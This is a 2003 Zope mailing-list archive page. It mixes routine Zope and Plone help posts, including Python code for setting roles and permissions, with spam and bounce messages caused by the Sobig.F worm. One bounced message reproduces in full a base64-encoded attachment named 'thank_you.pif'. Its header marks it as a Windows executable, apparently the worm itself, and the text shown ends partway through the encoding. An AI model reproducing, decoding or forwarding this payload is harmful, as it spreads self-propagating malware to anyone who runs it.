Virus(es) found. document_9446.pif is infected with W32/Sobig.f@MM Viruses: 1 Trojans: 0 Jokes: 0 Tests: 0 Captured by McAfee antivirus plugin running on CommuniGate Pro mail server -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 570 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/917f6078/attachment.bin From MAILER-DAEMON at massed.net Wed Aug 20 06:15:18 2003 From: MAILER-DAEMON at massed.net (Mail Delivery Subsystem) Date: Fri Aug 22 21:57:52 2003 Subject: [Zope] Returned mail: Over quota Message-ID: <200308200915.CDZ02925@ms06.mrf.mail.rcn.net> The original message was received at Wed, 20 Aug 2003 05:15:17 -0400 (EDT) from localhost ----- The following addresses had permanent delivery errors ----- someone@massed.net -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 998 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030820/3650e8e8/attachment.bin From info at shipping-publ.no Fri Aug 22 17:54:13 2003 From: info at shipping-publ.no (info@shipping-publ.no) Date: Fri Aug 22 22:01:47 2003 Subject: [Zope] Re: Wicked screensaver Message-ID: Please see the attached file for details. From MAILER-DAEMON at relay1.tdcnorge.no Fri Aug 22 17:17:21 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 22:02:30 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308221417.h7MEHL228775@relay1.tdcnorge.no> The original message was received at Fri, 22 Aug 2003 16:17:17 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Thank you! Date: Fri, 22 Aug 2003 16:15:51 +0200 Size: 708 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/b4df8520/attachment.eml From paul.siu at lmco.com Fri Aug 22 10:59:12 2003 From: paul.siu at lmco.com (Siu, Paul) Date: Fri Aug 22 22:19:41 2003 Subject: [Zope] Document Management using Zope Message-ID: Hi, I need to create a system that is mostly for web content management (HTML, XML, etc), but also have support for traditional "fat" documents like Microsoft Office. Basically I want to be able to version fat documents and route them through workflows. I was trying to figure out if this is feasible in Zope. >From what I can tell from reading the docs, Zope uses an object orient database Zodb. Zodb seemed to be able to handle content, but can it handle "fat" content reliably? I guess one issue would be caching, since caching a large object in memory would chew up memory quickly. Another problem is that Zope lacks a reliable version control. Zope can version by saving old transactions, but the transactions are lost after a pack. What I need is someway to specify specific verions like in a CVS. I also need to keep the old version around until corporate record retention policy indicate that it should be deleted. I have heard that Zope3 has this feature, but Zope3 is too far away. Plone seems to have a mechanism through CMFStaging, but how reliable is that? Can I migrate the document from the 2.x solution to the 3.0? Better yet, is there a DM type product out there? Paul From fjord at fjordimages.com Sat Aug 23 05:49:55 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Sat Aug 23 00:49:58 2003 Subject: [Zope] Re: Re: Your application Message-ID: <1061559255.17145.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > Please see the attached file for details. From greeny_17 at yahoo.com Thu Aug 21 12:59:03 2003 From: greeny_17 at yahoo.com (jason) Date: Sat Aug 23 02:46:09 2003 Subject: [Zope] [Plone-users] Re: About customizing specific folder content big icon... In-Reply-To: References: Message-ID: To change the icon associated with how the folder gets seen in the trees and in the portal go to portal_types and to your new content type. There is a field specified for your icon. The icon search by default is the same area that all the other icons are at which I think is /Products/CMFPlone/skins/plone_images/ and if you put it in there you can then just access it. Jason Gelin Patrick wrote: > Hi, > > I created a new WorkSpace_Folder type derived of a Plone_Folder type. I associated a workspace_icon.gif to WorkSpace_Folder type that I can see in navigation tree, it's beautiful! But WorkSpace_Folder content display always the Plone_Folder big icon... How can I change it? > > Thanks. > > > ------------------------------------------------------- > This SF.net email is sponsored by Dice.com. > Did you know that Dice has over 25,000 tech jobs available today? From > careers in IT to Engineering to Tech Sales, Dice has tech jobs from the > best hiring companies. http://www.dice.com/index.epl?rel_code4 ------------------------------------------------------- This SF.net email is sponsored by: VM Ware With VMware you can run multiple operating systems on a single machine. WITHOUT REBOOTING! Mix Linux / Windows / Novell virtual machines at the same time. Free trial click here:http://www.vmware.com/wl/offer/358/0 _______________________________________________ Plone-users mailing list Plone-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/plone-users From jean at upfrontsystems.co.za Wed Aug 20 10:13:35 2003 From: jean at upfrontsystems.co.za (Jean Jordaan) Date: Sat Aug 23 03:01:49 2003 Subject: [Zope] External management of roles and permissions In-Reply-To: References: Message-ID: <3F431F9F.2060806@upfrontsystems.co.za> > Then I need to set the permissions for each > security option/role programattically--the moral equivalent of going > through and checking the boxes. Does this help at all? 'setup' below is called from the 'manage_addMyApp' constructor. def addRoles(obj, roles): ''' Create MyApp roles ''' # First add roles # (AccessControl.Role._addRole is awkward, so we Just Do It) current_roles=list(obj.__ac_roles__) for role in current_roles: if role not in roles: roles.append(role) obj.__ac_roles__=tuple(roles) def setPermissions(obj, permissions, acquire=0): ''' Set permissions for object ''' roles_for_permissions = {} for role, perms in permissions.items(): for perm in perms: roles_for_permissions[perm] = roles_for_permissions.get(perm, []) roles_for_permissions[perm].append(role) for perm, roles in roles_for_permissions.items(): obj.manage_permission(perm, roles, acquire) def setPermissionsForRoles(obj, permissions, roles): for permission in permissions: obj.manage_permission(permission, roles, 0) def setup(myapp): # # Set permissions # addRoles(myapp, ['Member', 'Evaluator']) setPermissions(myapp, myapp_permissions) setPermissionsForRoles( myapp.members, view_permissions, ['Manager', 'Member']) setPermissionsForRoles( myapp.downloads, view_permissions, ['Manager']) view_permissions = ('Access Transient Objects', 'Access contents information', 'Access session data', 'Add portal member', 'Copy or Move', 'Mail forgotten password', 'Query Vocabulary', 'Search ZCatalog', 'Use Database Methods', 'View', 'WebDAV access', ) ... myapp_permissions = { 'Anonymous': view_permissions, 'Authenticated': (), 'Manager': all_permissions, 'Owner': owner_permissions, } ... etc -- Jean Jordaan http://www.upfrontsystems.co.za From MAILER-DAEMON at huath.pair.com Sat Aug 23 08:01:54 2003 From: MAILER-DAEMON at huath.pair.com (MAILER-DAEMON@huath.pair.com) Date: Sat Aug 23 03:02:56 2003 Subject: [Zope] failure notice Message-ID: Hi. This is the qmail-send program at huath.pair.com. I'm afraid I wasn't able to deliver your message to the following addresses. This is a permanent error; I've given up. Sorry it didn't work out. : 207.217.120.23 failed after I sent the message. Remote host said: 554 Message Rejected Due To Attachment --- Below this line is a copy of the message. Return-Path: Received: (qmail 96759 invoked by uid 19322); 22 Aug 2003 20:10:10 -0000 Delivered-To: royflan-probuyer:com-re2000@probuyer.com Received: (qmail 96756 invoked from network); 22 Aug 2003 20:10:10 -0000 Received: from gamma.pair.com (209.68.1.13) by huath.pair.com with SMTP; 22 Aug 2003 20:10:10 -0000 Received: (qmail 22539 invoked by uid 2219); 22 Aug 2003 20:10:10 -0000 Delivered-To: exchange-re2000:com-roy@re2000.com Received: (qmail 22455 invoked from network); 22 Aug 2003 20:10:04 -0000 Received: from adsl-211-12-81.asm.bellsouth.net (HELO REPOCOMPUTER) (68.211.12.81) by gamma.pair.com with SMTP; 22 Aug 2003 20:10:04 -0000 From: To: Subject: Re: Details Date: Fri, 22 Aug 2003 16:09:58 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_05D1090D" This is a multipart message in MIME format --_NextPart_000_05D1090D Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_05D1090D Content-Type: application/octet-stream; name="thank_you.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="thank_you.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACchVndAcNB3 L7IthuqUttkbaI5toW/Ma9cREwXJr2bGKxWUSLB1PIIaS01RbFxQRCXoVDbDEpq4Yumyi65HRdpM 3Ga7gyB6TAfZ9GeKPkz/gNdHfQo5WyK6kk3e3416A+3AKPhtFhKaSZkYxFj6+M2xbjOVSCpPharh /VxSm4iVAk4yXUKq7H+ADGwboJC+fQm8+7jatvO6YUfFxxQOzfY8KTP4vt2InUxuuOl2cfiFELy0 IOsT73kycNOqH03/dY6FypJqffAfOkjFzUMhr8AqN9OCKt0p+TNW9bGP/Kp1XK6X4Iydu/Wy/xA0 A5Zpbl3Gl9/gKIkSvEhLlXfwGYKZSluuaTMQmbpJkKW7StxmyJ6O/fV9pclS8jV3oWub5MzdvI++ mMz3UMdA50acjuzsssWb5XknsOqtK2nhhDya2yRx3g+m84v73khc0k3eTce9rBtzSgflO9Df2PdF TLLYFS/62962HytiMp2UFAkMMby4jWvloU8xsUAp/4Ws/jc55M/xh5mwSb7B5AtSX9luSglcmPun VDvdKcYWznRbLRPadQ+V576YUs6FwBGGrYnr7cqYlLI9/9zwrfe9T0tMbFTdX2GmQfo7TrcECi9A E4FKW8Xf1+6VPSywyFUB8p5WIK+9r8vGPrArUMoLVGGUE5fSoJD+lBC5F7no0NbMS8uCvwJE63mz Ue83HBQ/ZZebwnFyAw28Q7HdqbesuEsMwzZ8rXY5sECSqEvV4ASt672pT5tM7Trvx/oeMN28Wuxm b2hNug230joQTwW3+T+ddoDMjh0cB79ICk6OJGC51nji89835vsL2YS+2dN19sIr43AwpO/uoFkm zyrLtskKndrZ6wRu0SXw+8FjB0wHUzm+cnBDUTxOuhclYnBPnss8CcpoGdo5Irpd0YvJggoecHOS biRPiLYSClcpS5n3yXohrWL1z/W94x72F3O0ji5Xe//NZnBDZkX45NuPf2/d/JXA1f7XCo8is0xR rzvrOYnfrr1pxDFCetHLOybka8fZJezgFrNUwaMR+YgTsaK7YCLSJhtXxN3cl0K80n5/nc7HQbAg 22OzUHWSshMG/0Z/Y3TrZQhe4dW+K+rLbVNPIAwvwLk5x5TTF9fsrDea9BXGevPQx/AKwsbdHZo1 fmYYRXzptJCrYTZ1zscYugWP+9RKTp83eAo9TPTEzkt+FCjJy5yPemVMRfAcizcv3LIAMoXoyx1z BeGPq+IhWpbaGaq4NCBMbIoUBndrZmhrjupvFO8BkFak0zQgND1UxHxiI1OHuqLCOSjA3Hn7q0eY tMn3ObnFuJm+oYofF6ByMXttsOjDO5klG+meUl8Wak2wrzvty/gAdPIn/YsmrMy4S3v4CHR+43Db eGYh2EozOoYslK836wPYFAa6ND4wabPkhtOCKAlMZKETCO0qIMm/TqAI3IDAdRiMkuE8pUEl7syq uxwNBiXv3HPYkgn14wcKpqUYqFwObltnwpphtfl3ZiNWVzuxW0btzfIU/nyQWcvXVfw3vNF1YwRR ZzcV93VkjA6N3xZrXS8QtkFvFVA9j8BxPPxg/n1i7g1Ud1ZmmpCKoTpqUgzCduuGCVOM3SOvPZVH 65Fb3QYFoqrnk+di8KJxUkJka88hhnrX4AlJ+fAkVVX7Djbc76XppaiV2iQ4AUsJQqaN0V3Gz44v Kprx0HznIQM2cuQjza+niG3gGd9EnEEcsmLDdyps/R1z7fY1hfKSldBL6YpOI6NnKR4TiC50Xi5s 6+YoGigu56UFH0mcXNS2PPyf9YyAKQQ5wKqZHFrwFSo1KnluEpGkx2RGvrOVQ01C80rIvOFX4typ 95KBd06Kex69ESo1fLtDjMrEmOdvZBBeadT/iRl5EhOaHYUX+KksIGLiwoP2/auIrE450UVTDrMB fr8b9npYSrtGvnuSaC6TaXNCga7gOjzcAn6F63Urf4M+QmiwOlgAorb9kBkI4ckXJULP/JjCEhas PEjjQ1ADfn5iC/RGA2I3Aq4fxiEwYP6F9RvliYW+HI/qnCIxmspmPfwxfmpaJZHKUO+jHBjQpvmu VmPF3Lg7ZNgp8Z2iQcs0Mtv3r1w+trVBWA/10pcarXxDp+TlovxuPAfeo+deOdbYLlWQAnMhB0gK t5+leBZaj6S5irNYkMZdpKp1fFdOCEQ2wPymCcDlX2Pz1H8Zn/+EFbAPgz2NE9Gm6tt04hRXWZTd /fcfylstl4jIvCcpklKjmr0QrAausSBf/CVFyGM689kxCNwt6ztfg6m605RtJjBVjldAo6tEcn9v S94c9eVe+zoJHicxw+HK1suwFwelmdxQ/aaK/b9OfLApf3X8PtZZ13uLJ8uYYyUBUV/xYDOeKD/Y TYg45jEaa7EKGvkUwszJYGUwjTJWkCSxN9IbQBPZPwxmHINeoyVswne23sTxdaFYLOyc4Z2nKq+z 8LIRn3fZ3ZYiveem2x4vhzMOfPUyYSpzUE2gUaCMUs9MQvO1hws9T7HPVUnjbavF/0BJY0vze6Zp cb07glgbql93EDNawSfXvJ8Q+i7J4ZvjqWXWWL4Zb2/+be/Y2yGlLKJ58IEag2wvy2RPqdkCItM1 k75xaVgRNsBHIf8plYto4ZchE88/spHH/7oMq37b3Dvq7EV2aLbTKf9I3is7fzY3KLsXNh16LsuR kZm2aoeeIrBw7fLIEsf6N1CECeJ5WujAUuQD5GpGgeLjy8kS2OsKlohB7j/qKXbvOX4TfzeQ3z2E m0yDog89VnXBRzU0HlQ/ZJbVcGbcjlVyFkY2LQyyRkDMwlhSrgoUVWFCwfvk0M1Q/gpsLTyTfupT mVXSxmXeYAU7woYlP/b8ef0sUXqe9nWgz4M9ek9ya+r1is9ttRVPQHjKl1/osM5ysPf3MJjkLDiA it9JzDV4QLbCgkZt/pdUJ+QIZwNJalcgiX2EiWeIzN0hFYYtnzCU0hNwZHA8tR2UwdTBQX4G5e2G 8OzIriwIVaw5vPAZoT1G0v+E7l6q9SMeQubUBRp2zVWwzPu47/Q4/KPmNU20Cab3VqdDph1mzrVl VTAgEzCkBWWxtMTmESywR2WXoQMubDOuv/wXtA+PnYBv2Y5Quca7LaHEjAQuXF7BsnHaS2Ytuftj d2ecYsi2WePyfzQjRLAR3exyIG03pLsj4IWB7lauVyamzXj4n65AJpbvCQXGokfcSgjVBDIQ7ok7 NwIsKZbEnwTvrsZB6Q3J0aHKLqOmdT4u+iAR8eiryxAPbkWmfjNu1ZRlXCMNqZY30TeB4WmTrLUl Gcly5KYxwG4mFHl3X0GezHP8S/IUQwDQhkxkniJQKdjS27RvVwglmwhMaD03hcllw1Fs3fQZa5KV aeqqio/m4IOBfAsyLJK/zITKXjvHZbKaOD0vTro7gqH2Ws1B7Wc1wbdtGYL8ot37r1Oy025blfL4 sXMIDEBOmO/vKEh/+fe07UiKkNks+RbrUKvS0hzsxkwLyigYVt+BsiRdAMLDIiQYz+UtSuQbhdRE bRHOQ2w0ij7gZ3yFHNxX+invwi+I1I7jOhdpr1EiS2mHNw1NYEMAtkWM7GQm8Po6+Xh8BbCDeWn5 ZbPBvJM+Q0tenDXcWkNqNYqKoYsC/yedZer8VcGWa4OMFEiNf/Yv8pXe0FavIyR8uqvSvRQzw5De G+Q1KASMq3ZQAQqQcBuihHUxS+H+Bha3xVtx1TzszusJzC4SykFouBLSROB2bviP0+SOHL6+rhX5 RSLxwtYBDB6FCv8ybBcS0zp9VU5of3K4BXuwyehTM0RI9IrSjVuwP94xfn0wgOjouKWzGXHVk3qg gqG2MduW07HcG1rQm6RbIUBJUTBgNMlnuvDLelmgF4qBokRCoN8ejib2l/LeiqpYp+omGsjuMU9L w1uVRaJndhlxwKBns+i8yoTqjsv4bHTGGhdMDismRG5oMejcuJBTUUJibYQzRln4Kv0MHllF3YQq dYJsXIGFPzU5Xwgue21u4TZmxCnCA3Qc04fgtWhOnqItiyeST7glzJWM2heby8zzxTV1W+NswsNe Wp2mOsgh/uX3sVPZdA2T2nIM4WKbjE4zJR1xu6yIj/mueC/lhVnD21a/AHyMs7jh3EGST76ogTDG ueQOqgCJebReRZFmZ1jHKTaN1KudMVhhI9HzKSrlGHxhHahV50VQt4NaPk/KhjSfI3xRAOgNv3UC /INw9B5YlHCRUB6n6oB8pMuOqEvPqKVWOe0uSWChojD+uA03nAYNtoSTzqsAc4Vr3tEMfre7lbwL 3LZwj7kauuh755rColi9BLXyNc8T2BLVoOPo7dhi4Z2YpAeySHS7K6UKhZl2NSt+tuEP2QOzSbG9 NLqUaXrt4BIRnr5nIVQEZjkIr1Tj0H70LP/3istp15vlDtUjYyIqVfBDyo1BeJ2Bs+LzdHroCeyK LR/DUw0MF4zUEuLtmVl7ED5YuRoW24+s1+iDBNfOx9Ng9uHK0nkYusJ8Pus8OLZ1S78+aAXqh34R nvOuJYHGgLyJj3fNrEUq99HL0hqHX/lztEZqPtV5KnJ8HLqZS+pDBD5DgLGqhF/qXeprrOuZSaQ/ VfgrNr82/Sc/2/Q8KF2QXM/gqlzHr7fTxzzvd/A29nHP+6eJJwzhuSrVFpOtT70u6rEE4c9uB7os xF73/lStqHRPqJP6i8zbj01HeGLeUfgE+SGXpAjGBhhcWcOczyUXAt106wKTWm6zSc8i1lQLn2YO 2e+G9nL3uTGaznHPJxusQar46aL3zniOq8RvLrBH3vPV3Z506SuVm0l0LDxYPgM+S0ts2ok7mwdH WaUYonDVvHZoU8UHESppjeMS6zzHuw2JTZNZNUXmksWvEPQMKa/2b+4zgUircy5A6Vqe2Rx7gTD5 na9U6SdtQR//oy+6GSuotsioImxlYMK25RcaMCm10H9dRw/xQqeSeVDNYsxcKYnUjOMBoF60emTv n1uy5HAhdx81tfHF3P3ImpjII+jKeW6284DmBejoh6rrl0e8M3IwjS8PpQ9dfe7mcMO0L/jmKNhq PvJK0FaPIWbeKZ+WXPzq9ZG0FU0KhVeSu9r1qehNnOOKi00r4nZE6df4iNeorq0szpDwI7Vqgzhh x6IZL/hPY2KW4H7CVaPn6uxLSZH+v/oePM7VqM+jxoshhJD7AZr18ERldV22yifvLMdOqznYFdS6 k8dFmp0i31ZRlEaodBOm3EaebPktzvUijjh2BwMqlTn0XQ+rI5X7wMmPcnGhU5dX03LTxyfjUcFH yVccyk6SVRxQpSrgWyJXELUTnfmPhOu+i8vqvKGi4IHkEXqgOiRrMMDhVHUYzMlL44f+d00guQUB ufWhR1lkqnC1QzPiVVpEQxOxEodPvPNVKDx7IeumGTVy22FxbhDTtA36SIk4E9ecMydqY1dX896X nPreJWavDfsLkaLn9KxpnjVN21kBZsy0f1OrAKSJH69PLT4N5TcH6K92vksmuSncaLDsSt2+9oj/ XUi4tJmdO9EJuTmhdIywV2OY7QpgJQ+yNvRbYzkxn3Fg0ZyQYcD264IBTTLqA1RG6Jq6W0GgAM0K RutM6SIbsKoBUF5wzGtrj5wd2wMFDTDAbR1ZVAXJ4Sf05G7BxIWtncSYIX/D51je+ZUvxi0XrF2m 